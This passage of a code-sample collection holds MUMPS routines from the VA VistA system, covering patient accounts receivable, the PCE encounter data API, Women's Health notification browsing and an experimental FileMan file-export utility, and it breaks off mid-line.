    "content": "PRCAAPR ;WASH-ISC@ALTOONA,PA/RGY-PATIENT ACCOUNT PROFILE (CONT) ;3/9/94  8:41 AM\nV ;;4.5;Accounts Receivable;**198,221**;Mar 20, 1995\n ;;Per VHA Directive 10-93-142, this routine should not be modified.\nEN(PRCATY) ;\n NEW DIC,X,Y,DEBT,PRCADB,DA,PRCA,COUNT,OUT,SEL,BILL,BAT,TRAN,DR,DXS,DTOUT,DIROUT,DIRUT,DUOUT\nASK N DPTNOFZY,DPTNOFZK S (DPTNOFZY,DPTNOFZK)=1\n K OUT S COUNT=0 R !,\"Select DEBTOR NAME or BILL NUMBER: \",X:DTIME I \"^\"[$E(X) S $P(DEBT,\"^\",2)=\"\" G Q\n S X=$$UPPER^VALM1(X)\n S Y=$S($O(^PRCA(430,\"B\",X,0)):$O(^(0)),$O(^PRCA(430,\"D\",X,0)):$O(^(0)),1:-1)\n I Y>0 S DEBT=$P($G(^PRCA(430,Y,0)),\"^\",9) I DEBT S PRCADB=$P($G(^RCD(340,DEBT,0)),\"^\"),^DISV(DUZ,\"^PRCA(430,\")=Y,$P(DEBT,\"^\",2)=$$NAM^RCFN01(DEBT) D COMP,EN1^PRCAATR(Y) G:$D(DTOUT) Q G ASK\n S DIC=\"^RCD(340,\",DIC(0)=\"E\" D ^DIC G:Y<0 ASK\n S ^DISV(DUZ,\"^RCD(340,\")=+Y,PRCADB=$P(Y,\"^\",2),DEBT=+Y_\"^\"_$P(@(\"^\"_$P(PRCADB,\";\",2)_+PRCADB_\",0)\"),\"^\")\n D COMP,HDR^PRCAAPR1,HDR2^PRCAAPR1,DIS^PRCAAPR1 G:'$D(DTOUT) ASK\nQ K ^TMP(\"PRCAAPR\",$J) Q\nCOMP ;Compile patient bills\n K ^TMP(\"PRCAAPR\",$J)\n NEW STAT,STAT1,CNT,Y\n S STAT1=0\n F CNT=1:1 S STAT1=+$S(PRCATY=\"ALL\":$O(^PRCA(430,\"AS\",+DEBT,STAT1)),1:$O(^PRCA(430.3,\"AC\",+$P(PRCATY,\",\",CNT),0))) Q:'STAT1  F BILL=0:0 S BILL=$O(^PRCA(430,\"AS\",+DEBT,STAT1,BILL)) Q:'BILL  D COMP1\n I PRCADB[\";DPT(\" F BILL=0:0 S BILL=$O(^PRCA(430,\"E\",+PRCADB,BILL)) Q:'BILL  I PRCATY=\"ALL\"!((\",\"_PRCATY_\",\")[(\",\"_$P($G(^PRCA(430.3,+$P($G(^PRCA(430,BILL,0)),\"^\",8),0)),\"^\",3)_\",\")) D COMP1\n F BAT=0:0 S BAT=$O(^RCY(344,\"AC\",PRCADB,BAT)) Q:'BAT  F TRAN=0:0 S TRAN=$O(^RCY(344,\"AC\",PRCADB,BAT,TRAN)) Q:'TRAN  I $G(^RCY(344,BAT,1,TRAN,0))]\"\",$P(^(0),\"^\",5)=\"\" D COMP2\n Q\nCOMP1 S STAT=$P($G(^PRCA(430.3,+$P($G(^PRCA(430,BILL,0)),\"^\",8),0)),\"^\",3) Q:STAT=\"\"\n S X=$G(^PRCA(430,BILL,7)),Y=$P(X,\"^\")+$P(X,\"^\",2)+$P(X,\"^\",3)+$P(X,\"^\",4)+$P(X,\"^\",5)\n I $P(^PRCA(430,BILL,0),\"^\",2)=$O(^PRCA(430.2,\"AC\",33,0)) S Y=-Y\n S Y=$S($P(^PRCA(430,BILL,0),\"^\",2)=$O(^PRCA(430.2,\"AC\",33,0))&(STAT'=112):0,$P(^PRCA(430,BILL,0),\"^\",9)'=+DEBT:0,\",102,107,112,\"[(\",\"_STAT_\",\"):Y,1:0)\n S ^TMP(\"PRCAAPR\",$J,\"C\")=$G(^TMP(\"PRCAAPR\",$J,\"C\"))+Y\n S ^TMP(\"PRCAAPR\",$J,\"C\",STAT)=$G(^TMP(\"PRCAAPR\",$J,\"C\",STAT))+Y_\"^\"_STAT,^(STAT,BILL)=$P(X,\"^\",1,5)\n Q\nCOMP2 ;Compile payments\n S Y=$P(^RCY(344,BAT,1,TRAN,0),\"^\",4)\n S ^TMP(\"PRCAAPR\",$J,\"C\")=$G(^TMP(\"PRCAAPR\",$J,\"C\"))-Y\n S ^TMP(\"PRCAAPR\",$J,\"C\",99)=$G(^TMP(\"PRCAAPR\",$J,\"C\",99))-Y_\"^99\",^TMP(\"PRCAAPR\",$J,\"C\",99,$P(^RCY(344,BAT,0),\"^\")_\"-\"_TRAN)=$P(^RCY(344,BAT,1,TRAN,0),\"^\",4)\n Q\n"
  },
  {
    "path": "samples/M/PXAI.m",
    "content": "PXAI ;ISL/JVS,ISA/KWP,ESW - PCE DRIVING RTN FOR 'DATA2PCE' API ;6/20/03 11:15am\n ;;1.0;PCE PATIENT CARE ENCOUNTER;**15,74,69,102,111,112,130,164,168**;Aug 12, 1996;Build 14\n Q\n ;\n ;+  1       2       3        4        5       6      7      8       9\nDATA2PCE(PXADATA,PXAPKG,PXASOURC,PXAVISIT,PXAUSER,PXANOT,ERRRET,PXAPREDT,PXAPROB,PXACCNT) ;+API to pass data for add/edit/delete to PCE.\n ;+  PXADATA  (required)\n ;+  PXAPKG   (required)\n ;+  PXASOURC (required)\n ;+  PXAVISIT (optional) is pointer to a visit for which the data is to\n ;+        be related.  If the visit is not known then there must be\n ;+        the ENCOUNTER nodes needed to lookup/create the visit.\n ;+  PXAUSER  (optional) this is a pointer to the user adding the data.\n ;+  PXANOT   (optional) set to 1 if errors are to be displayed to the screen should only be set while writing and debugging the initial code.\n ;+  ERRRET   (optional) passed by reference.  If present will return PXKERROR\n ;+                      array elements to the caller.\n ;+  PXAPREDT  (optional) Set to 1 if you want to edit the Primary Provider\n ;+            only use if for the moment that editing is being done. (dangerous)\n ;+  PXAPROB   (optional) A dotted variable name. When errors and\n ;+             warnings occur, They will be passed back in the form\n ;+            of an array with the general description of the problem.\n ;+ IF ERROR1 - (GENERAL ERRORS)\n ;+      PXAPROB($J,SUBSCRIPT,\"ERROR1\",PASSED IN 'FILE',PASSED IN FIELD,\n ;+              SUBSCRIPT FROM PXADATA)\n ;+      PXAPROB(23432234,2,\"ERROR1\",\"PROVIDER\",\"NAME\",7)=\"BECAUSE...\"\n ;+ IF WARNING2 - (GENERAL WARNINGS)\n ;+      PXAPROB($J,SUBSCRIPT,\"WARNING2\",PASSED IN 'FILE',PASSED IN FIELD,\n ;+              SUBSCRIPT FROM PXADATA)\n ;+      PXAPROB(23432234,3,\"WARNING2\",\"PROCEDURE\",\"QTY\",3)=\"BECAUSE...\"\n ;+ IF WARNING3 - (WARNINGS FOR SERVICE CONNECTION)\n ;+      PXAPROB($J,1,\"WARNING3\",\"ENCOUNTER\",1,\"AO\")=REASON\n ;+      PXAPROB($J,1,\"WARNING3\",\"ENCOUNTER\",1,\"EC\")=REASON\n ;+      PXAPROB($J,1,\"WARNING3\",\"ENCOUNTER\",1,\"IR\")=REASON\n ;+      PXAPROB($J,1,\"WARNING3\",\"ENCOUNTER\",1,\"SC\")=REASON\n ;+      PXAPROB($J,1,\"WARNING3\",\"ENCOUNTER\",1,\"MST\")=REASON\n ;+      PXAPROB($J,1,\"WARNING3\",\"ENCOUNTER\",1,\"HNC\")=REASON\n ;+      PXAPROB($J,1,\"WARNING3\",\"ENCOUNTER\",1,\"CV\")=REASON\n ;+      PXAPROB($J,1,\"WARNING3\",\"ENCOUNTER\",1,\"SHAD\")=REASON\n ;+ IF ERROR4 - (PROBLEM LIST ERRORS)\n ;+      PXAPROB($J,6,\"ERROR4\",\"PX/DL\",(SUBSCRIPT FROM PXADATA))=REASON\n ;+ PXACCNT    (optional)  passed by reference.  Returns the PFSS Account Reference if known.\n ;              Returned as null if the PFSS Account Reference is located in the Order file(#100)\n ;+\n ;+\n ;+ Returns:\n ;+   1  if no errors and process completely\n ;+  -1  if errors occurred but processed completely as possible\n ;+  -2  if could not get a visit\n ;+  -3  if called incorrectly\n ;\nNEW ;--NEW VARIABLES\n N NOVSIT,PXAK,DFN,PXAERRF,PXADEC,PXELAP,PXASUB\n N PATIENT,VALQUIET,PRIMFND\n K PXAERROR,PXKERROR,PXAERR,PRVDR\n S PXASUB=0,VALQUIET=1\n ; needs to look up if not passed. \n I '$G(PXAVISIT),'$D(@PXADATA@(\"ENCOUNTER\")) Q -3\n I $G(PXAUSER)<1 S PXAUSER=DUZ\n ;\n K ^TMP(\"PXK\",$J),^TMP(\"DIERR\",$J),^TMP(\"PXAIADDPRV\",$J)\nSOR ;--SOURCE\n I PXAPKG=+PXAPKG S PXAPKG=PXAPKG\n E  S PXAPKG=$$PKG2IEN^VSIT(PXAPKG)\n I PXASOURC=+PXASOURC S PXASOURC=PXASOURC\n E  S PXASOURC=$$SOURCE^PXAPIUTL(PXASOURC)\n ;\n D TMPSOURC^PXAPIUTL(PXASOURC) ;-SAVES & CREATES ^TMP(\"PXK\",$J,\"SOR\")\nVST ;--VISIT\n ;--KILL VISIT\n I $G(PXAVISIT) D VPTR^PXAIVSTV I $G(PXAERRF) D ERR Q -2\n D VST^PXAIVST\n I $G(PXAVISIT)<0 Q -2\n I $G(PXAERRF) D ERR K PXAERR Q -2\nPRV ;--PROVIDER\n S PATIENT=$P($G(^AUPNVSIT(PXAVISIT,0)),\"^\",5)\n S (PXAK,PRIMFND)=0\n F  S PXAK=$O(@PXADATA@(\"PROVIDER\",PXAK)) Q:(PRIMFND)!(PXAK=\"\")  D\n .I $D(@PXADATA@(\"PROVIDER\",PXAK,\"PRIMARY\")) D\n ..S PRIMFND=$G(@PXADATA@(\"PROVIDER\",PXAK,\"PRIMARY\"))\n I 'PRIMFND D  ;Check for each provider's status as Primary or Secondary\n .S PXAK=0 F  S PXAK=$O(@PXADATA@(\"PROVIDER\",PXAK)) Q:PXAK=\"\"  D\n ..I '$D(@PXADATA@(\"PROVIDER\",PXAK,\"PRIMARY\")) D PROVDRST\n S PXAK=0 F  S PXAK=$O(@PXADATA@(\"PROVIDER\",PXAK)) Q:PXAK=\"\"  D\n . D PRV^PXAIPRV I $G(PXAERRF) D ERR\n K PRI ;--FLAG FOR PRIMARY PROVIDER\n K PXAERR\nPOV ;--DIAGNOSIS\n S (PXAK,PRIMFND)=0\n F  S PXAK=$O(@PXADATA@(\"DX/PL\",PXAK)) Q:(PXAK=\"\")  D  Q:PRIMFND\n .I +$G(@PXADATA@(\"DX/PL\",PXAK,\"PRIMARY\"))=1 D\n ..S PRIMFND=$G(@PXADATA@(\"DX/PL\",PXAK,\"DIAGNOSIS\"))\n I $D(@PXADATA@(\"DX/PL\")) D POVPRM(PXAVISIT,PRIMFND,.PXADATA) D\n .S PXAK=0 F  S PXAK=$O(@PXADATA@(\"DX/PL\",PXAK))  Q:PXAK=\"\"  D\n ..D POV^PXAIPOV I $G(PXAERRF) D ERR\n K PXAERR\n ;\nCPT ;--PROCEDURE\n S PXAK=0 F  S PXAK=$O(@PXADATA@(\"PROCEDURE\",PXAK))  Q:PXAK=\"\"  D\n . D CPT^PXAICPT I $G(PXAERRF) D ERR\n K PXAERR\n ;\nEDU ;--PATIENT EDUCATION\n S PXAK=0 F  S PXAK=$O(@PXADATA@(\"PATIENT ED\",PXAK))  Q:PXAK=\"\"  D\n . D EDU^PXAIPED I $G(PXAERRF) D ERR\n K PXAERR\n ;\nEXAM ;--EXAMINATION\n S PXAK=0 F  S PXAK=$O(@PXADATA@(\"EXAM\",PXAK))  Q:PXAK=\"\"  D\n . D EXAM^PXAIXAM I $G(PXAERRF) D ERR\n K PXAERR\n ;\nHF ;--HEALTH FACTOR\n S PXAK=0 F  S PXAK=$O(@PXADATA@(\"HEALTH FACTOR\",PXAK))  Q:PXAK=\"\"  D\n . D HF^PXAIHF I $G(PXAERRF) D ERR\n K PXAERR\n ;\nIMM ;--IMMUNIZATION\n S PXAK=0 F  S PXAK=$O(@PXADATA@(\"IMMUNIZATION\",PXAK))  Q:PXAK=\"\"  D\n . D IMM^PXAIIMM I $G(PXAERRF) D ERR\n K PXAERR\n ;\nSKIN ;--SKIN TEST\n S PXAK=0 F  S PXAK=$O(@PXADATA@(\"SKIN TEST\",PXAK))  Q:PXAK=\"\"  D\n . D SKIN^PXAISK I $G(PXAERRF) D ERR\n K PXAERR\n ;\n ;\n D OTHER^PXAIPRV\n ;\n ;\n I $D(^TMP(\"PXK\",$J)) D\n . D EN1^PXKMAIN\n . M ERRRET=PXKERROR\n . D PRIM^PXAIPRV K PRVDR\n . D EVENT^PXKMAIN\n S PXACCNT=$P($G(^AUPNVSIT(PXAVISIT,0)),\"^\",26) ;PX*1.0*164 ;Sets the PFSS Account Reference, if any\n K ^TMP(\"PXK\",$J),PXAERR,PXKERROR\n Q $S($G(PXAERRF):-1,1:1)\n ;\n ;\nEXIT ;--EXIT AND CLEAN UP\n D EVENT^PXKMAIN\n K ^TMP(\"PXK\",$J),PRVDR\n K PXAERR\n Q\n ;-----------------SUBROUTINES-----------------------\nERR ;\n ;\n ;\n I '$D(PXADI(\"DIALOG\")) Q\n N NODE,SCREEN\n S PXAERR(1)=$G(PXADATA),PXAERR(2)=$G(PXAPKG),PXAERR(3)=$G(PXASOURC)\n S PXAERR(4)=$G(PXAVISIT),PXAERR(5)=$G(PXAUSER)_\"  \"_$P($G(^VA(200,PXAUSER,0)),\"^\",1)\n I $G(PXANOT)=1 D EXTERNAL\n E  D INTERNAL\n D ARRAY^PXAICPTV\n K PXADI(\"DIALOG\")\n Q\n ;\nEXTERNAL ;---SEND ERRORS TO SCREEN\n W !,\"-----------------------------------------------------------------\"\n D BLD^DIALOG($G(PXADI(\"DIALOG\")),.PXAERR,\"\",\"SCREEN\",\"F\")\n D MSG^DIALOG(\"ESW\",\"\",50,10,\"SCREEN\")\n ;\n Q\nINTERNAL ;---SET ERRORS TO GLOBAL ARRAY\n S NODE=PXADATA\n D BLD^DIALOG($G(PXADI(\"DIALOG\")),.PXAERR,.PXAERR,NODE,\"F\")\n S NODE=$NA(@PXADATA@(\"DIERR\",$J)) D MSG^DIALOG(\"ESW\",\"\",50,10,NODE)\n Q\n ;\nPROVDRST ; Check provider status (Primary or Secondary)\n N PRVIEN,DETS,DIC,DR,DA,DIQ,PRI,PRVPRIM\n I $G(PXAK)=\"\" QUIT\n S PRVIEN=0\n F  S PRVIEN=$O(^AUPNVPRV(\"AD\",PXAVISIT,PRVIEN)) Q:PRVIEN=\"\"  D\n .S DETS=$G(^AUPNVPRV(PRVIEN,0))\n .I $P(DETS,U)=$G(@PXADATA@(\"PROVIDER\",PXAK,\"NAME\")) D\n ..S DIC=9000010.06,DR=.04,DA=PRVIEN\n ..S DIQ=\"PRVPRIM(\",DIQ(0)=\"EI\" D EN^DIQ1\n ..S PRI=$E($G(PRVPRIM(9000010.06,DA,DR,\"E\")),1,1)\n ..S @PXADATA@(\"PROVIDER\",PXAK,\"PRIMARY\")=$S(PRI=\"P\":1,1:0)\n Q\nPOVPRM(VISIT,PRIMFND,POVARR) ;\n N PRVIEN,DETS,STOP,LPXAK,ORDX,NDX,ORDXP\n S PRVIEN=0\n ;create array of existing DX; ORDX - pointer to ^ICD9(\n F  S PRVIEN=$O(^AUPNVPOV(\"AD\",PXAVISIT,PRVIEN)) Q:PRVIEN=\"\"  D\n .S DETS=$G(^AUPNVPOV(PRVIEN,0)),ORDX=$P(DETS,U)\n .S ORDX(ORDX)=PRVIEN I $P(DETS,U,12)=\"P\" S ORDXP(ORDX)=\"\"\n ; create array of passed DX; NDX - pointer to ^ICD9(\n S PXAK=0 F  S PXAK=$O(@POVARR@(\"DX/PL\",PXAK)) Q:PXAK=\"\"  D\n .S NDX=$G(@POVARR@(\"DX/PL\",PXAK,\"DIAGNOSIS\")) S NDX(NDX)=PXAK\n ; force entry of originally primary diagnosis with \"S\" flag\n I PRIMFND S ORDX=\"\" D\n .F  S ORDX=$O(ORDXP(ORDX)) Q:ORDX=\"\"  I PRIMFND'=ORDX D\n ..I $D(NDX(ORDX)) S @POVARR@(\"DX/PL\",NDX(ORDX),\"PRIMARY\")=0\n ..E  D\n ...S LPXAK=$O(@POVARR@(\"DX/PL\",\"\"),-1)\n ...S @POVARR@(\"DX/PL\",LPXAK+1,\"DIAGNOSIS\")=ORDX\n ...S @POVARR@(\"DX/PL\",LPXAK+1,\"PRIMARY\")=0\n Q\n ;\n"
  },
  {
    "path": "samples/M/WVBRNOT.m",
    "content": "WVBRNOT ;HCIOFO/FT,JR IHS/ANMC/MWR - BROWSE NOTIFICATIONS; ;7/30/98  11:02\n ;;1.0;WOMEN'S HEALTH;;Sep 30, 1998\n ;;* MICHAEL REMILLARD, DDS * ALASKA NATIVE MEDICAL CENTER *\n ;;  CALLED BY OPTION: \"WV BROWSE NOTIFICATIONS\" TO BROWSE AND EDIT\n ;;  NOTIFICATIONS.\n ;\n ;---> VARIABLES:\n ;---> WVA:   1=ALL PATIENTS, 0=ONE PATIENT\n ;---> WVDFN: DFN OF SELECTED PATIENT\n ;---> DATES: WVBEGDT=BEGINNING DATE, WVENDDT=ENDING DATE\n ;---> WVB:   d=DELINQUENT, o=OPEN, q=queued, a=ALL (includes CLOSED).\n ;---> SORT SEQUENCE IN WVC:  1=DATE, PATIENT, PRIORITY\n ;--->                        2=PATIENT, DATE, PRIORITY\n ;--->                        3=PRIORITY, DATE, PATIENT\n ;---> USE NODES 3 & 4 IN ^TMP GLOBAL.\n ;\n D SETVARS^WVUTL5\n D ^WVBRNOT2 G:WVPOP EXIT\n D SORT\n D COPYGBL\n D ^WVBRNOT1\n ;\nEXIT ;EP\n D KILLALL^WVUTL8\n Q\n ;\n ;\nSORT ;EP\n ;---> SORT AND STORE ARRAY IN ^TMP(\"WV\",$J\n K ^TMP(\"WV\",$J)\n ;---> WVBEGDT1=ONE SECOND BEFORE BEGIN DATE.\n ;---> WVENDDT1=THE LAST SECOND OF END DATE.\n S WVBEGDT1=WVBEGDT-.0001,WVENDDT1=WVENDDT+.9999\n ;\n ;**************************\n ;---> WVA=1: ALL PATIENTS\n I WVA D  Q\n .;---> BY DATE GET EITHER ALL OR OPEN ONLY.\n .N WVDFN,WVIEN,Y\n .S WVXREF=$S(WVB=\"a\":\"D\",WVB=\"q\":\"APRT\",1:\"AOPEN\")\n .S WVDATE=WVBEGDT1\n .F  S WVDATE=$O(^WV(790.4,WVXREF,WVDATE)) Q:'WVDATE!(WVDATE>WVENDDT1)  D\n ..S WVIEN=0\n ..F  S WVIEN=$O(^WV(790.4,WVXREF,WVDATE,WVIEN)) Q:'WVIEN  D\n ...Q:'$D(^WV(790.4,WVIEN,0))\n ...S Y=^WV(790.4,WVIEN,0),WVDFN=$P(Y,U)\n ...;---> QUIT IF SELECTING FOR ONE CASE MANAGER AND THIS DOESN'T MATCH.\n ...I 'WVE Q:$P(^WV(790,WVDFN,0),U,10)'=WVCMGR\n ...;---> QUIT IF LISTING \"DELINQUENT\" AND THIS PROCDURE IS NOT DELINQ.\n ...I WVB=\"d\" Q:$P(Y,U,13)'<DT!($P(Y,U,13)=\"\")\n ...D STORE\n ;\n ;**************************\n ;---> WVA=0: ONE PATIENT\n N WVIEN,Y S WVIEN=0\n F  S WVIEN=$O(^WV(790.4,\"B\",WVDFN,WVIEN)) Q:'WVIEN  D\n .S Y=^WV(790.4,WVIEN,0)\n .;---> QUIT IF NOT WITHIN DATE RANGE.\n .S WVDATE=$P(Y,U,2)\n .Q:WVDATE'>WVBEGDT1!(WVDATE>WVENDDT1)\n .;---> QUIT IF \"QUEUED\" AND THIS NOTIFICATION IS NOT QUEUED.\n .I WVB=\"q\" Q:'$P(Y,U,11)  Q:'$D(^WV(790.4,\"APRT\",$P(Y,U,11),WVIEN))\n .;---> QUIT IF \"DELINQUENT\" OR OPEN ONLY AND THIS ENTRY IS CLOSED.\n .Q:\"do\"[WVB&($P(Y,U,14)=\"c\")\n .I WVB=\"d\" Q:$P(Y,U,13)'<DT!($P(Y,U,13)=\"\")\n .D STORE\n Q\n ;\nSTORE ;EP\n ;--->WVDATE IS ALREADY SET FROM LL SORT ABOVE.      ;---> DATE\n S WVCHRT=$$SSN^WVUTL1(WVDFN)_\" \"                    ;---> SSN#\n S WVNAME=$$NAME^WVUTL1(WVDFN)                       ;---> NAME\n S WVACC=$P(Y,U,6)                                   ;---> ACCESSION#\n I WVACC]\"\" S WVACC=$P(^WV(790.1,WVACC,0),U)\n S WVSTAT=$$STATUS^WVUTL4                            ;---> STATUS\n S WVPRIO=9\n S:$P(Y,U,4)]\"\" WVPRIO=$P(^WV(790.404,$P(Y,U,4),0),U,2)  ;---> PRIORITY\n ;\n S X=WVCHRT_U_WVNAME_U_WVDATE_U_WVACC_U_WVSTAT_U_WVPRIO_U_WVIEN\n I WVC=1 S ^TMP(\"WV\",$J,3,WVDATE,WVNAME,WVPRIO,WVIEN)=X Q\n I WVC=2 S ^TMP(\"WV\",$J,3,WVNAME,WVDATE,WVPRIO,WVIEN)=X Q\n I WVC=3 S ^TMP(\"WV\",$J,3,WVPRIO,WVDATE,WVNAME,WVIEN)=X\n Q\n ;\nCOPYGBL ;EP\n ;---> COPY ^TMP(\"WV\",$J,3 TO ^TMP(\"WV\",$J,4 TO MAKE IT FLAT.\n N I,M,N,P,Q\n S N=0,I=0\n F  S N=$O(^TMP(\"WV\",$J,3,N)) Q:N=\"\"  D\n .S M=0\n .F  S M=$O(^TMP(\"WV\",$J,3,N,M)) Q:M=\"\"  D\n ..S P=0\n ..F  S P=$O(^TMP(\"WV\",$J,3,N,M,P)) Q:P=\"\"  D\n ...S Q=0\n ...F  S Q=$O(^TMP(\"WV\",$J,3,N,M,P,Q)) Q:Q=\"\"  D\n ....S I=I+1,^TMP(\"WV\",$J,4,I)=^TMP(\"WV\",$J,3,N,M,P,Q)\n Q\n ;\n ;\nDEQUEUE ;EP\n ;---> TASKMAN QUEUE OF PRINTOUT.\n D SETVARS^WVUTL5,SORT,COPYGBL,^WVBRNOT1,EXIT\n Q\n ;\nFOLLOW(WVDFN) ;EP\n ;---> CALLED FROM PROCEDURE FOLLOWUP MENU.\n D SETVARS^WVUTL5\n S WVA=0,WVB=\"o\",WVBEGDT=(DT-50000),WVC=1,WVE=1,WVENDDT=DT\n D DEVICE^WVBRNOT2 Q:WVPOP\n S WVLOOP=1\n D SORT,COPYGBL,^WVBRNOT1\n Q\n"
  },
  {
    "path": "samples/M/ZDIOUT1.m",
    "content": "ZDIOUT1 ; Experimental FileMan file output to host file\n ;---------------------------------------------------------------------------\n ; Copyright 2011 The Open Source Electronic Health Record Agent\n ;\n ; Licensed under the Apache License, Version 2.0 (the \"License\");\n ; you may not use this file except in compliance with the License.\n ; You may obtain a copy of the License at\n ;\n ;     http://www.apache.org/licenses/LICENSE-2.0\n ;\n ; Unless required by applicable law or agreed to in writing, software\n ; distributed under the License is distributed on an \"AS IS\" BASIS,\n ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n ; See the License for the specific language governing permissions and\n ; limitations under the License.\n ;---------------------------------------------------------------------------\n N  W \"Experimental FileMan file output to host file\",!\n D ASKFILE Q:FILE[\"^\"\n D ASKDIR Q:DIR[\"^\"\n D SAVEFILE(FILE,DIR)\n Q\nSAVEFILE(FILE,DIR) ; Save FILE to given host directory\n I '$$SLASH(DIR) Q\n N FGR S FGR=$$FGR(FILE) Q:'$$CHECK(FGR,\"Not a valid file number: \"_FILE)\n S IO=DIR_$P($E(FGR,2,$L(FGR)),\"(\")_\"+\"_$$FILENAME(FILE,FGR)_\".txt\"\n W IO,!\n C IO O IO:(\"WNS\"):1 E  U $P W \"Cannot open \"\"\"_IO_\"\"\" for write!\",! Q\n D FILE(\"\",FILE,FGR)\n C IO\n Q\nPRNFILE(FILE,IO) ; Print FILE, optionally to IO device\n S:'$D(IO) IO=$P\n N FGR S FGR=$$FGR(FILE) Q:'$$CHECK(FGR,\"Not a valid file number: \"_FILE)\n D FILE(\"\",FILE,FGR)\n Q\nPRNENTRY(FILE,I,IO) ; Print FILE record #I, optionally to IO device\n S:'$D(IO) IO=$P\n N FGR S FGR=$$FGR(FILE) Q:'$$CHECK(FGR,\"Not a valid file number: \"_FILE)\n N DD D DDCR(FILE,.DD)\n D ENTITY(\"\",FILE,.DD,$$EGR(FGR,I))\n Q\nPRNDD(FILE,IO) ; Print DD for FILE, optionally to IO device\n S:'$D(IO) IO=$P\n ; DD(FILE) is a file#0 whose entries define fields of FILE\n N FGR S FGR=$NA(^DD(FILE))\n I '$D(@FGR) W \"Not a valid file number: \"_FILE,! Q\n D FILE(\"\",0,FGR)\n Q\n ;---------------------------------------------------------------------------\n ; Private implementation entry points below.\n ; References cite the VA FileMan 22.0 Programmer Manual.\n ;\nASKFILE ; Ask for file number\n R !,\"File#: \",FILE G:FILE=\"\" ASKFILE Q:FILE[\"^\"  S FILE=+FILE\n S FGR=$$FGR(FILE)\n I '$$CHECK(FGR,\" (Not a valid file number)\") G ASKFILE\n W \"  \",$$FILENAME(FILE,FGR)\n Q\nASKDIR ; Ask for host dir\n R !,!,\"Host output directory: \",DIR,! Q:DIR[\"^\"   G:'$$SLASH(DIR) ASKDIR\n Q\nSLASH(DIR) ; Validate trailing slash\n I $E(DIR,$L(DIR))?1(1\"/\",1\"\\\") Q 1\n E  U $P W \"Output directory must end in a slash!\" Q 0\nFGR(FILE) ; Get FILE Global Root\n Q $$ROOT^DILFD(FILE,\"\",1)\nEGR(FGR,I) ; Get ENTRY Global Root\n Q $NA(@FGR@(I))\nCHECK(V,MSG) ; Validate non-empty value\n I V=\"\" W MSG,! Q 0\n Q 1\nDDCR(FILE,DD) ; X-ref global subscript location to DD field\n ; The DD field definition 0-node has ^-pieces \"^^^S;P^\" where\n ; \"S;P\" is the node Subscript and Piece within the node value (14.9.2).\n N F S F=\"\" F  S F=$O(^DD(FILE,F)) Q:F=\"\"  D:+F\n . N F4,S,P S F4=$P(^DD(FILE,F,0),\"^\",4),S=$P(F4,\";\",1),P=$P(F4,\";\",2) Q:S=\" \"\n . S DD(S,F)=P ; Subscript S contains field F at piece P\n Q\nFILE(D,FILE,FGR) ; Write all entries in a file\n ; TODO: Sort entries by .01 or KEY to ensure consistent order\n N DD D DDCR(FILE,.DD)\n N I S I=\"\" F  S I=$O(@FGR@(I)) Q:I=\"\"  D\n . I +I D\n . . D ENTITY(D,FILE,.DD,$$EGR(FGR,I))\n . E  D ; TODO: Handle known non-entry subscripts such as \"B\"\n . . D SUBS(D,$$EGR(FGR,I),I)\n Q\nWP(D,FGR) ; Write a word-processing value\n ; A word processing field is actually a file in which each entry has a\n ; .01 field containing the line of text, and the type of the field has \"W\".\n U IO W D,\";\",$$VALUE(@FGR@(0)),! ; TODO: Preserve date from ^(0)\n N I S I=\"\" F  S I=$O(@FGR@(I)) Q:I=\"\"  D:+I ; TODO: Other subscripts?\n . U IO W D,$$VALUE(@FGR@(I,0)),!\n U IO W D,\";\",!\n Q\nENTITY(D,FILE,DD,EGR) ; Write a file entry\n U IO W D,\"ENTITY\"_$C(9)_\";;\"_$$FILENAME(FILE,FGR)_\"^\"_$S(FILE=0:\"\",1:FILE)_\" ;\"_EGR,!\n U IO W D_$C(9)_\";\",!\n ; Add key tag with field .01 value (14.9.2).\n ; TODO: Use indexing cross-references or KEY file entries for key tags?\n ; TODO: Escape key values, handle pointers?\n U IO W D,\"KA\"_$C(9)_\";;\",$P(@EGR@(0),\"^\"),!\n U IO W D_$C(9)_\";\",!\n N S S S=\"\" F  S S=$O(@EGR@(S)) Q:S=\"\"  D ; Find DD fields at S.\n . I $D(DD(S))<10 D ; TODO: Field defs like \"DEL\" not in ^DD(0)\n . . D SUBS(D,$NA(@EGR@(S)),S)\n . N F S F=\"\" F  S F=$O(DD(S,F)) Q:F=\"\"  D\n . . D FIELD(D,FILE,F,$NA(@EGR@(S)),DD(S,F))\n Q\n ;\nSUBS(D,G,S) ; Write an extraneous subscript\n U IO W D,\"SUBS\"_$C(9)_\";;\"_S,!\n I $D(@G)#10 U IO W D_$C(9),$$VALUE(@G),!\n I $D(@G)\\10 U IO W D_$C(9),\"; OMITTED CHILDREN\",!\n U IO W D_$C(9),\";\",!\n Q\nFIELD(D,FILE,F,EGRF,P) ; Write a field\n ; The DD field definition 0-node has ^-pieces \"NAME^TYPE^\" (14.9.2).\n N FD S FD=^DD(FILE,F,0)\n N NAME S NAME=$P(FD,\"^\",1)\n N TYPE S TYPE=$P(FD,\"^\",2)\n ; TYPE starts with a subfile number if the field is a multiple (14.9.2)\n N SUBFILE S SUBFILE=+TYPE\n I SUBFILE D\n . D FIELDSUB\n E  D\n . D FIELDONE\n Q\nFIELDTAG ; Write tag for a field\n U IO W D,\"F\"_$TR(F,\".\",\"P\")_$C(9)_\";;\"_NAME_\"^\"_F_\" ;\"_TYPE,!\n Q\nFIELDSUB ; Write a multiple-valued field\n D FIELDTAG\n I $D(@EGRF)#10 U IO W D_$C(9),\"; OMITTED SELF\",!\n ; Word-processing values are files whose .01 field type has \"W\".\n I $P($G(^DD(SUBFILE,.01,0)),\"^\",2)[\"W\" D\n . D WP(D_$C(9),EGRF)\n E  D\n . D FILE(D_$C(9),SUBFILE,EGRF) U IO W D_$C(9),\";\",!\n Q\nFIELDONE ; Write a single-valued field\n N V S V=$$FIELDVAL(EGRF,P) Q:V=\"\"\n N EV ; Some TYPEs have an external-format value\n N T S T=TYPE\n I T[\"F\" S TYPE=TYPE_\";\"_\"Free Text\"\n I T[\"N\" S TYPE=TYPE_\";\"_\"Numeric\"\n I T[\"K\" S TYPE=TYPE_\";\"_\"MUMPS Code\"\n I T[\"P\" S TYPE=TYPE_\";\"_\"Pointer\",EV=1\n I T[\"V\" S TYPE=TYPE_\";\"_\"Variable Pointer\",EV=1\n I T[\"S\" S TYPE=TYPE_\";\"_\"Set of Codes\",EV=1\n I T[\"D\" S TYPE=TYPE_\";\"_\"Date\",EV=1\n I 